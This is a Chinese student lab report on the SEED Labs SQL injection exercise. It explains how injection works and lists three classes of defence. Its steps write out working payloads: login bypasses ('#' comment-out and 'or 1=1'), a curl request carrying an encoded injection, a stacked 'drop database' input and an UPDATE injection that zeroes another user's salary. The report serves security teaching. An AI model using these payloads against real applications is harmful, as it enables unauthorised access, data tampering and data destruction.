一、实验目的
通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,
加强对Web攻击的防范。
二、实验原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
三、实验环境
Ubuntu(32-bit)、seedlab实验环境
四、实验步骤
1.搭建mysql环境和建表
2.搭建实验网页
3.注入攻击
Eid中输入:EID 5002’#,password输入:xyz
Eid中输入:a’or 1= 1#,password输入:xyz
curl是一个用途很广的命令行工具,用在多个网络协议(http,https)中发送数据。通过curl,可以在命令行发送1个表单.curl ‘www.example.com/getdata.php?EID=a%27%20OR%201=1%20%23&Password=’
使用curl攻击:
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=
发动在login.html中,注入: EID5001’;drop datanase dbtest;#
update攻击:修改他人属性,不知道密码
尝试输入:EID5001’#,passwd456’,salary=0#
2.防范SQL注入
防御SQL注入攻击的3种方法:过滤掉代码;通过编码将代码变为数据;代码和数据分离
**
五、实验总结
**
本次实验主要进行了SQL的注入和防御机制